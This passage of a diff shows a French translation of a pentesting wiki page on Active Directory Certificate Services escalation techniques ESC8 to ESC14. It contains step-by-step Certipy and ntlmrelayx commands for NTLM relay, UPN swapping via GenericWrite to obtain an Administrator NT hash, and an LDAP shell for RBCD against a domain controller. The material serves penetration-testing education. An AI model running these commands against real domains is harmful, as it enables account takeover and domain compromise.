Néanmoins, cette limitation peut être contournée en exploitant un relay NTLM pour obtenir un certificat pour l'utilisateur, car la durée de validité du certificat dicte la durée de la session, et le certificat peut être utilisé auprès de services qui **exigent le signing NTLM**. Pour des instructions sur l'utilisation d'un certificat volé, voir :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
Une autre limitation des attaques de relais NTLM est qu'**une machine contrôlée par l'attaquant doit être authentifiée par un compte victime**. L'attaquant peut soit attendre soit tenter de **forcer** cette authentification :
|
||||
Une autre limitation des attaques de relay NTLM est qu'**une machine contrôlée par l'attaquant doit être authentifiée par un compte victime**. L'attaquant peut soit attendre, soit tenter de **forcer** cette authentification :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -409,7 +409,7 @@ Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La propriété `msPKI-Enrollment-Servers` est utilisée par les Autorités de Certification d'entreprise (CAs) pour stocker les endpoints du Certificate Enrollment Service (CES). Ces endpoints peuvent être analysés et listés en utilisant l'outil **Certutil.exe**:
|
||||
La propriété `msPKI-Enrollment-Servers` est utilisée par les autorités de certification d'entreprise (Certificate Authorities, CAs) pour stocker les endpoints du Certificate Enrollment Service (CES). Ces endpoints peuvent être analysés et listés en utilisant l'outil **Certutil.exe** :
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
@ -437,9 +437,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||
```
|
||||
#### Abus avec [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
La demande de certificat est effectuée par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par le fait que le nom du compte relayé se termine par `$`. La spécification d'un modèle alternatif peut être obtenue en utilisant le paramètre `-template`.
|
||||
Par défaut, Certipy effectue la demande de certificat en se basant sur le template `Machine` ou `User`, déterminé par le fait que le nom du compte relayé se termine par `$`. La spécification d'un template alternatif peut être effectuée en utilisant le paramètre `-template`.
|
||||
|
||||
Une technique comme [PetitPotam](https://github.com/ly4k/PetitPotam) peut alors être utilisée pour forcer l'authentification. Lorsqu'il s'agit de contrôleurs de domaine, il est nécessaire de spécifier `-template DomainController`.
|
||||
Une technique telle que [PetitPotam](https://github.com/ly4k/PetitPotam) peut alors être utilisée pour forcer l'authentification. Lorsqu'il s'agit de contrôleurs de domaine, la spécification `-template DomainController` est requise.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -456,20 +456,20 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
### Explication
|
||||
|
||||
La nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) pour **`msPKI-Enrollment-Flag`**, appelée ESC9, empêche l'inclusion de la nouvelle extension de sécurité **`szOID_NTDS_CA_SECURITY_EXT`** dans un certificat. Ce flag devient pertinent lorsque `StrongCertificateBindingEnforcement` est réglé sur `1` (le paramètre par défaut), contrairement à une valeur de `2`. Sa pertinence est accrue dans des scénarios où un mappage de certificat plus faible pour Kerberos ou Schannel pourrait être exploité (comme dans ESC10), étant donné que l'absence d'ESC9 ne modifierait pas les exigences.
|
||||
La nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) pour **`msPKI-Enrollment-Flag`**, appelée ESC9, empêche l'inclusion de la nouvelle extension de sécurité **`szOID_NTDS_CA_SECURITY_EXT`** dans un certificat. Ce flag devient pertinent lorsque `StrongCertificateBindingEnforcement` est réglé sur `1` (valeur par défaut), contrairement à `2`. Son importance augmente dans les scénarios où un mappage de certificat plus faible pour Kerberos ou Schannel pourrait être exploité (comme dans ESC10), étant donné que l'absence d'ESC9 ne modifierait pas les exigences.
|
||||
|
||||
Les conditions dans lesquelles la configuration de ce flag devient significative incluent :
|
||||
|
||||
- `StrongCertificateBindingEnforcement` n'est pas réglé à `2` (le réglage par défaut étant `1`), ou `CertificateMappingMethods` inclut le flag `UPN`.
|
||||
- `StrongCertificateBindingEnforcement` n'est pas réglé sur `2` (la valeur par défaut étant `1`), ou `CertificateMappingMethods` inclut le flag `UPN`.
|
||||
- Le certificat est marqué avec le flag `CT_FLAG_NO_SECURITY_EXTENSION` dans le paramètre `msPKI-Enrollment-Flag`.
|
||||
- Un EKU d'authentification client quelconque est spécifié par le certificat.
|
||||
- Des permissions `GenericWrite` sont disponibles sur un compte quelconque permettant de compromettre un autre.
|
||||
- Le certificat spécifie n'importe quelle EKU d'authentification client.
|
||||
- Des permissions `GenericWrite` sont disponibles sur n'importe quel compte permettant de compromettre un autre.
|
||||
|
||||
### Scénario d'abus
|
||||
|
||||
Supposons que `John@corp.local` dispose des permissions `GenericWrite` sur `Jane@corp.local`, dans le but de compromettre `Administrator@corp.local`. Le template de certificat `ESC9`, dans lequel `Jane@corp.local` est autorisée à s'enregistrer, est configuré avec le flag `CT_FLAG_NO_SECURITY_EXTENSION` dans son paramètre `msPKI-Enrollment-Flag`.
|
||||
Supposons que `John@corp.local` dispose de permissions `GenericWrite` sur `Jane@corp.local`, dans le but de compromettre `Administrator@corp.local`. Le template de certificat `ESC9`, auquel `Jane@corp.local` est autorisée à s'inscrire, est configuré avec le flag `CT_FLAG_NO_SECURITY_EXTENSION` dans son paramètre `msPKI-Enrollment-Flag`.
|
||||
|
||||
Initialement, le hash de `Jane` est acquis en utilisant Shadow Credentials, grâce au `GenericWrite` de `John` :
|
||||
Initialement, le hash de `Jane` est obtenu en utilisant Shadow Credentials, grâce au `GenericWrite` de `John` :
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
@ -479,42 +479,42 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
|
||||
```
|
||||
Cette modification ne viole pas les contraintes, étant donné que `Administrator@corp.local` reste distinct en tant que userPrincipalName de `Administrator`.
|
||||
|
||||
Ensuite, le template de certificat `ESC9`, marqué comme vulnérable, est demandé en tant que `Jane` :
|
||||
Suite à cela, le modèle de certificat `ESC9`, marqué comme vulnérable, est demandé en tant que `Jane`:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
On note que le certificat `userPrincipalName` reflète `Administrator`, dépourvu de tout “object SID”.
|
||||
On note que le `userPrincipalName` du certificat reflète `Administrator`, dépourvu de tout “object SID”.
|
||||
|
||||
Le `userPrincipalName` de `Jane` est ensuite restauré à son original, `Jane@corp.local` :
|
||||
Le `userPrincipalName` de `Jane` est ensuite rétabli à sa valeur d'origine, `Jane@corp.local` :
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Tenter une authentification avec le certificat délivré renvoie maintenant le hash NT de `Administrator@corp.local`. La commande doit inclure `-domain <domain>` en raison de l'absence de spécification de domaine dans le certificat :
|
||||
La tentative d'authentification avec le certificat émis renvoie maintenant le hash NT de `Administrator@corp.local`. La commande doit inclure `-domain <domain>` en raison de l'absence de spécification du domaine dans le certificat :
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## Weak Certificate Mappings - ESC10
|
||||
## Faibles mappages de certificats - ESC10
|
||||
|
||||
### Explanation
|
||||
### Explication
|
||||
|
||||
ESC10 fait référence à deux valeurs de registre sur le contrôleur de domaine :
|
||||
ESC10 fait référence à deux valeurs de clé de registre sur le contrôleur de domaine :
|
||||
|
||||
- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`.
|
||||
- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`.
|
||||
|
||||
**Case 1**
|
||||
**Cas 1**
|
||||
|
||||
When `StrongCertificateBindingEnforcement` is configured as `0`.
|
||||
Lorsque `StrongCertificateBindingEnforcement` est configuré à `0`.
|
||||
|
||||
**Case 2**
|
||||
**Cas 2**
|
||||
|
||||
If `CertificateMappingMethods` includes the `UPN` bit (`0x4`).
|
||||
Si `CertificateMappingMethods` inclut le bit `UPN` (`0x4`).
|
||||
|
||||
### Abuse Case 1
|
||||
### Cas d'abus 1
|
||||
|
||||
Avec `StrongCertificateBindingEnforcement` configuré à `0`, un compte A disposant de permissions `GenericWrite` peut être exploité pour compromettre n’importe quel compte B.
|
||||
Avec `StrongCertificateBindingEnforcement` configuré à `0`, un compte A disposant des permissions `GenericWrite` peut être exploité pour compromettre n'importe quel compte B.
|
||||
|
||||
Par exemple, en ayant les permissions `GenericWrite` sur `Jane@corp.local`, un attaquant vise à compromettre `Administrator@corp.local`. La procédure reflète ESC9, permettant l’utilisation de n’importe quel certificate template.
|
||||
Par exemple, en ayant des permissions `GenericWrite` sur `Jane@corp.local`, un attaquant cherche à compromettre `Administrator@corp.local`. La procédure reflète ESC9, permettant d'utiliser n'importe quel modèle de certificat.
|
||||
|
||||
Initialement, le hash de `Jane` est récupéré en utilisant Shadow Credentials, en exploitant le `GenericWrite`.
|
||||
```bash
|
||||
@ -524,23 +524,23 @@ Par la suite, le `userPrincipalName` de `Jane` est modifié en `Administrator`,
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Ensuite, un certificat permettant l'authentification client est demandé en tant que `Jane`, en utilisant le modèle `User` par défaut.
|
||||
Suite à cela, un certificat permettant l'authentification client est demandé au nom de `Jane`, en utilisant le modèle par défaut `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
Le `userPrincipalName` de `Jane` est ensuite rétabli à sa valeur d'origine, `Jane@corp.local`.
|
||||
Le `userPrincipalName` de `Jane` est ensuite rétabli à sa valeur originale, `Jane@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
L'authentification avec le certificat obtenu renverra le NT hash de `Administrator@corp.local`, ce qui oblige à spécifier le domaine dans la commande en raison de l'absence des informations de domaine dans le certificat.
|
||||
S'authentifier avec le certificat obtenu fournira le NT hash de `Administrator@corp.local`, il faut donc préciser le domaine dans la commande car le certificat ne contient pas d'informations de domaine.
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Cas d'abus 2
|
||||
|
||||
Lorsque `CertificateMappingMethods` contient le bit flag `UPN` (`0x4`), un compte A disposant des permissions `GenericWrite` peut compromettre n'importe quel compte B dépourvu de la propriété `userPrincipalName`, y compris les comptes machine et le compte administrateur de domaine intégré `Administrator`.
|
||||
Si la propriété `CertificateMappingMethods` contient le drapeau de bit `UPN` (`0x4`), un compte A disposant des permissions `GenericWrite` peut compromettre tout compte B dépourvu de la propriété `userPrincipalName`, y compris les comptes machine et l'administrateur de domaine intégré `Administrator`.
|
||||
|
||||
Ici, l'objectif est de compromettre `DC$@corp.local`, en commençant par obtenir le hash de `Jane` via Shadow Credentials, en tirant parti du `GenericWrite`.
|
||||
Ici, l'objectif est de compromettre `DC$@corp.local`, en commençant par obtenir le hash de `Jane` via Shadow Credentials, en tirant parti de `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
@ -548,11 +548,11 @@ Le `userPrincipalName` de `Jane` est ensuite défini sur `DC$@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
Un certificat pour l'authentification client est demandé en tant que `Jane` en utilisant le modèle par défaut `User`.
|
||||
Un certificat pour l'authentification du client est demandé en tant que `Jane` en utilisant le modèle par défaut `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
Le `userPrincipalName` de `Jane` est rétabli à sa valeur d'origine après ce processus.
|
||||
Le `userPrincipalName` de `Jane` est revenu à sa valeur d'origine après ce processus.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
@ -560,19 +560,19 @@ Pour s'authentifier via Schannel, l'option `-ldap-shell` de Certipy est utilisé
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
À travers le LDAP shell, des commandes telles que `set_rbcd` permettent des attaques Resource-Based Constrained Delegation (RBCD), pouvant compromettre le contrôleur de domaine.
|
||||
Via le LDAP shell, des commandes telles que `set_rbcd` permettent des attaques Resource-Based Constrained Delegation (RBCD), pouvant compromettre le contrôleur de domaine.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Cette vulnérabilité s'étend également à tout compte utilisateur dépourvu d'un `userPrincipalName` ou lorsque celui-ci ne correspond pas au `sAMAccountName`. Le compte par défaut `Administrator@corp.local` est une cible de choix en raison de ses privilèges LDAP élevés et de l'absence par défaut d'un `userPrincipalName`.
|
||||
Cette vulnérabilité s'étend également à tout compte utilisateur dépourvu d'un `userPrincipalName` ou lorsque celui-ci ne correspond pas au `sAMAccountName`, le compte par défaut `Administrator@corp.local` étant une cible privilégiée en raison de ses privilèges LDAP élevés et de l'absence par défaut d'un `userPrincipalName`.
|
||||
|
||||
## Relaying NTLM to ICPR - ESC11
|
||||
## Relais NTLM vers ICPR - ESC11
|
||||
|
||||
### Explication
|
||||
|
||||
If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
Si le CA Server n'est pas configuré avec `IF_ENFORCEENCRYPTICERTREQUEST`, cela permet des attaques relais NTLM sans signature via le service RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
Vous pouvez utiliser `certipy` pour vérifier si `Enforce Encryption for Requests` est Disabled et certipy affichera les vulnérabilités `ESC11`.
|
||||
Vous pouvez utiliser `certipy` pour énumérer si `Enforce Encryption for Requests` est désactivé et certipy affichera les vulnérabilités `ESC11`.
|
||||
```bash
|
||||
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -591,7 +591,7 @@ ESC11 : Encryption is not enforced for ICPR requests
|
||||
```
|
||||
### Scénario d'abus
|
||||
|
||||
Il faut configurer un serveur relais :
|
||||
Il est nécessaire de configurer un serveur de relais :
|
||||
```bash
|
||||
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
|
||||
Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
@ -610,29 +610,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
Remarque : pour les contrôleurs de domaine, il faut spécifier `-template` dans DomainController.
|
||||
Remarque : Pour les contrôleurs de domaine, nous devons spécifier `-template` dans DomainController.
|
||||
|
||||
Ou en utilisant [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
|
||||
```bash
|
||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||
```
|
||||
## Shell access to ADCS CA with YubiHSM - ESC12
|
||||
## Accès shell à ADCS CA avec YubiHSM - ESC12
|
||||
|
||||
### Explication
|
||||
|
||||
Les administrateurs peuvent configurer la CA pour la stocker sur un périphérique externe comme le "Yubico YubiHSM2".
|
||||
Les administrateurs peuvent configurer la Certificate Authority (CA) pour la stocker sur un périphérique externe comme le "Yubico YubiHSM2".
|
||||
|
||||
Si un périphérique USB est connecté au serveur CA via un port USB, ou via un USB device server si le serveur CA est une machine virtuelle, une authentication key (parfois appelée "password") est requise pour que le Key Storage Provider génère et utilise des clés dans le YubiHSM.
|
||||
Si un périphérique USB est connecté au serveur CA via un port USB, ou via un USB device server si le serveur CA est une machine virtuelle, une authentication key (parfois appelée "password") est requise pour que le Key Storage Provider génère et utilise les clés dans le YubiHSM.
|
||||
|
||||
Cette key/password est stockée dans le registre sous `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en clair.
|
||||
|
||||
Référence : [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
|
||||
### Scénario d'abus
|
||||
|
||||
Si la clé privée de la CA est stockée sur un périphérique USB physique lorsque vous obtenez un shell access, il est possible de récupérer la clé.
|
||||
Si la clé privée du CA est stockée sur un périphérique USB physique et que vous obtenez un shell access, il est possible de récupérer la clé.
|
||||
|
||||
D'abord, vous devez obtenir le certificat de la CA (il est public) puis :
|
||||
Dans un premier temps, vous devez obtenir le certificat du CA (c'est public) puis :
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
@ -646,11 +646,11 @@ Enfin, utilisez la commande certutil `-sign` pour forger un nouveau certificat a
|
||||
|
||||
### Explication
|
||||
|
||||
L'attribut `msPKI-Certificate-Policy` permet d'ajouter la politique d'émission au modèle de certificat. Les objets `msPKI-Enterprise-Oid` responsables de l'émission des politiques peuvent être découverts dans le Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) du conteneur PKI OID. Une politique peut être liée à un groupe AD en utilisant l'attribut `msDS-OIDToGroupLink` de cet objet, ce qui permet à un système d'autoriser un utilisateur qui présente le certificat comme s'il était membre du groupe. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
L'attribut `msPKI-Certificate-Policy` permet d'ajouter la politique d'émission au modèle de certificat. Les objets `msPKI-Enterprise-Oid` responsables de l'émission des politiques peuvent être découverts dans le Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) du conteneur PKI OID. Une politique peut être liée à un groupe AD via l'attribut `msDS-OIDToGroupLink` de cet objet, permettant à un système d'autoriser un utilisateur qui présente le certificat comme s'il était membre du groupe. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
En d'autres termes, lorsqu'un utilisateur a la permission d'enregistrer un certificat et que le certificat est lié à un OID group, l'utilisateur peut hériter des privilèges de ce groupe.
|
||||
Autrement dit, lorsqu'un utilisateur a la permission d'enregistrer (enroll) un certificat et que le certificat est lié à un groupe OID, l'utilisateur peut hériter des privilèges de ce groupe.
|
||||
|
||||
Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
|
||||
Utilisez [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) pour trouver OIDToGroupLink :
|
||||
```bash
|
||||
Enumerating OIDs
|
||||
------------------------
|
||||
@ -674,9 +674,9 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
```
|
||||
### Scénario d'abus
|
||||
|
||||
Rechercher une permission utilisateur exploitable avec `certipy find` ou `Certify.exe find /showAllPermissions`.
|
||||
Identifier une permission utilisateur : utilisez `certipy find` ou `Certify.exe find /showAllPermissions`.
|
||||
|
||||
Si `John` a la permission d'enrôlement pour `VulnerableTemplate`, l'utilisateur peut hériter des privilèges du groupe `VulnerableGroup`.
|
||||
Si `John` dispose de la permission de demander un certificat pour `VulnerableTemplate`, l'utilisateur peut hériter des privilèges du groupe `VulnerableGroup`.
|
||||
|
||||
Il lui suffit de spécifier le template ; il obtiendra un certificat avec les droits OIDToGroupLink.
|
||||
```bash
|
||||
@ -688,32 +688,33 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
|
||||
|
||||
La description sur https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping est remarquablement complète. Ci-dessous une citation du texte original.
|
||||
|
||||
ESC14 traite des vulnérabilités résultant d'un mappage explicite de certificat faible, principalement par la mauvaise utilisation ou la configuration non sécurisée de l'attribut `altSecurityIdentities` sur les comptes d'utilisateurs ou d'ordinateurs Active Directory. Cet attribut multivalué permet aux administrateurs d'associer manuellement des certificats X.509 à un compte AD pour des fins d'authentification. Lorsqu'il est renseigné, ces mappages explicites peuvent remplacer la logique de mappage de certificat par défaut, qui s'appuie typiquement sur les UPN ou les noms DNS dans le SAN du certificat, ou sur le SID intégré dans l'extension de sécurité `szOID_NTDS_CA_SECURITY_EXT`.
|
||||
ESC14 concerne les vulnérabilités résultant d'un "weak explicit certificate mapping", principalement via l'utilisation incorrecte ou la configuration insecure de l'attribut `altSecurityIdentities` sur les comptes utilisateur ou ordinateur Active Directory. Cet attribut à valeurs multiples permet aux administrateurs d'associer manuellement des certificats X.509 à un compte AD pour les fins d'authentification. Lorsqu'il est renseigné, ces mappages explicites peuvent remplacer la logique de mappage de certificat par défaut, qui s'appuie typiquement sur les UPNs ou les DNS names dans le SAN du certificat, ou sur le SID intégré dans l'extension de sécurité `szOID_NTDS_CA_SECURITY_EXT`.
|
||||
|
||||
Un mappage « faible » se produit lorsque la valeur de chaîne utilisée dans l'attribut `altSecurityIdentities` pour identifier un certificat est trop large, facilement devinable, repose sur des champs de certificat non uniques, ou utilise des composants de certificat facilement usurpables. Si un attaquant peut obtenir ou créer un certificat dont les attributs correspondent à un tel mappage explicite faiblement défini pour un compte privilégié, il peut utiliser ce certificat pour s'authentifier en tant que ce compte et usurper son identité.
|
||||
Un mappage "faible" survient lorsque la valeur string utilisée dans l'attribut `altSecurityIdentities` pour identifier un certificat est trop large, facilement devinable, s'appuie sur des champs de certificat non uniques, ou utilise des composants de certificat facilement usurpables. Si un attaquant peut obtenir ou fabriquer un certificat dont les attributs correspondent à un tel mappage explicite faiblement défini pour un compte privilégié, il peut utiliser ce certificat pour s'authentifier en tant que et usurper ce compte.
|
||||
|
||||
Exemples de chaînes de mappage `altSecurityIdentities` potentiellement faibles incluent :
|
||||
|
||||
- Mappage uniquement par un Subject Common Name (CN) courant : par ex., `X509:<S>CN=SomeUser`. Un attaquant pourrait être capable d'obtenir un certificat avec ce CN depuis une source moins sécurisée.
|
||||
- Utiliser des Issuer Distinguished Names (DN) ou Subject DNs trop génériques sans qualification supplémentaire comme un numéro de série spécifique ou un subject key identifier : par ex., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Employer d'autres motifs prévisibles ou des identifiants non cryptographiques qu'un attaquant pourrait satisfaire dans un certificat qu'il peut obtenir légitimement ou falsifier (s'il a compromis une CA ou trouvé un template vulnérable comme dans ESC1).
|
||||
- Mappage uniquement par un Subject Common Name (CN) commun : ex., `X509:<S>CN=SomeUser`. Un attaquant pourrait être capable d'obtenir un certificat avec ce CN depuis une source moins sécurisée.
|
||||
- Utilisation de Issuer Distinguished Names (DNs) ou Subject DNs trop génériques sans qualification supplémentaire comme un numéro de série spécifique ou un subject key identifier : ex., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Emploi d'autres patterns prévisibles ou d'identifiants non cryptographiques qu'un attaquant pourrait satisfaire dans un certificat qu'il peut légitimement obtenir ou forger (s'il a compromis une CA ou trouvé un template vulnérable comme dans ESC1).
|
||||
|
||||
L'attribut `altSecurityIdentities` prend en charge différents formats de mappage, tels que :
|
||||
L'attribut `altSecurityIdentities` supporte divers formats de mappage, tels que :
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (mappe selon l'Issuer et le Subject DN complets)
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (mappe par Issuer et Subject DN complets)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (mappe par la valeur de l'extension Subject Key Identifier du certificat)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (mappe par numéro de série, implicitement qualifié par l'Issuer DN) - ce n'est pas un format standard, habituellement c'est `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (mappe selon un nom RFC822, typiquement une adresse e-mail, provenant du SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mappe par un hash SHA1 de la clé publique brute du certificat — généralement robuste)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (mappe par numéro de série, implicitement qualifié par l'Issuer DN) - ce n'est pas un format standard, généralement c'est `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (mappe par un nom RFC822, typiquement une adresse e-mail, depuis le SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mappe par un hash SHA1 de la clé publique brute du certificat - généralement fort)
|
||||
|
||||
La sécurité de ces mappages dépend fortement de la spécificité, l'unicité et la force cryptographique des identifiants de certificat choisis dans la chaîne de mappage. Même avec des modes de liaison de certificat forts activés sur les Domain Controllers (qui affectent principalement les mappages implicites basés sur les SAN UPNs/DNS et l'extension SID), une entrée `altSecurityIdentities` mal configurée peut toujours constituer une voie directe pour l'usurpation si la logique de mappage elle-même est défaillante ou trop permissive.
|
||||
|
||||
La sécurité de ces mappages dépend fortement de la spécificité, de l'unicité et de la force cryptographique des identifiants de certificat choisis dans la chaîne de mappage. Même avec des modes de binding de certificat stricts activés sur les Domain Controllers (qui affectent principalement les mappages implicites basés sur les SAN UPNs/DNS et l'extension SID), une entrée `altSecurityIdentities` mal configurée peut toujours présenter une voie directe pour l'usurpation si la logique de mappage elle-même est défaillante ou trop permissive.
|
||||
### Scénario d'abus
|
||||
|
||||
ESC14 cible les **mappages explicites de certificats** dans Active Directory (AD), spécifiquement l'attribut `altSecurityIdentities`. Si cet attribut est défini (par conception ou par mauvaise configuration), des attaquants peuvent usurper des comptes en présentant des certificats correspondant au mappage.
|
||||
ESC14 cible les **explicit certificate mappings** dans Active Directory (AD), spécifiquement l'attribut `altSecurityIdentities`. Si cet attribut est défini (par conception ou par mauvaise configuration), des attaquants peuvent usurper des comptes en présentant des certificats correspondant au mappage.
|
||||
|
||||
#### Scénario A : L'attaquant peut écrire dans `altSecurityIdentities`
|
||||
|
||||
**Précondition** : L'attaquant dispose des permissions d'écriture sur l'attribut `altSecurityIdentities` du compte cible ou du droit de l'accorder sous la forme de l'une des permissions suivantes sur l'objet AD cible :
|
||||
**Précondition** : L'attaquant a les permissions d'écriture sur l'attribut `altSecurityIdentities` du compte cible ou la permission de le déléguer sous la forme d'une des permissions suivantes sur l'objet AD cible :
|
||||
- Write property `altSecurityIdentities`
|
||||
- Write property `Public-Information`
|
||||
- Write property (all)
|
||||
@ -722,19 +723,23 @@ ESC14 cible les **mappages explicites de certificats** dans Active Directory (AD
|
||||
- `GenericWrite`
|
||||
- `GenericAll`
|
||||
- Owner*.
|
||||
#### Scénario B : La cible a un mappage faible via X509RFC822 (email)
|
||||
|
||||
- **Précondition** : La cible a un mappage X509RFC822 faible dans altSecurityIdentities. Un attaquant peut définir l'attribut mail de la victime pour qu'il corresponde au nom X509RFC822 de la cible, demander un certificat en tant que la victime, et l'utiliser pour s'authentifier en tant que la cible.
|
||||
#### Scénario B : La cible a un mappage faible via X509RFC822 (Email)
|
||||
|
||||
- **Précondition** : La cible a un mappage X509RFC822 faible dans altSecurityIdentities. Un attaquant peut définir l'attribut mail de la victime pour qu'il corresponde au nom X509RFC822 de la cible, enroler un certificat en tant que la victime, et l'utiliser pour s'authentifier en tant que la cible.
|
||||
|
||||
#### Scénario C : La cible a un mappage X509IssuerSubject
|
||||
|
||||
- **Précondition** : La cible a un mappage explicite X509IssuerSubject faible dans `altSecurityIdentities`. L'attaquant peut définir l'attribut `cn` ou `dNSHostName` sur un principal victime pour qu'il corresponde au subject du mappage X509IssuerSubject de la cible. Ensuite, l'attaquant peut demander un certificat en tant que la victime et utiliser ce certificat pour s'authentifier en tant que la cible.
|
||||
- **Précondition** : La cible a un mappage explicite X509IssuerSubject dans `altSecurityIdentities` faible. L'attaquant peut définir l'attribut `cn` ou `dNSHostName` sur un principal victime pour qu'il corresponde au subject du mappage X509IssuerSubject de la cible. Ensuite, l'attaquant peut enroler un certificat en tant que la victime, et utiliser ce certificat pour s'authentifier en tant que la cible.
|
||||
|
||||
#### Scénario D : La cible a un mappage X509SubjectOnly
|
||||
|
||||
- **Précondition** : La cible a un mappage explicite X509SubjectOnly faible dans `altSecurityIdentities`. L'attaquant peut définir l'attribut `cn` ou `dNSHostName` sur un principal victime pour qu'il corresponde au subject du mappage X509SubjectOnly de la cible. Ensuite, l'attaquant peut demander un certificat en tant que la victime et utiliser ce certificat pour s'authentifier en tant que la cible.
|
||||
- **Précondition** : La cible a un mappage explicite X509SubjectOnly dans `altSecurityIdentities` faible. L'attaquant peut définir l'attribut `cn` ou `dNSHostName` sur un principal victime pour qu'il corresponde au subject du mappage X509SubjectOnly de la cible. Ensuite, l'attaquant peut enroler un certificat en tant que la victime, et utiliser ce certificat pour s'authentifier en tant que la cible.
|
||||
|
||||
### opérations concrètes
|
||||
#### Scénario A
|
||||
|
||||
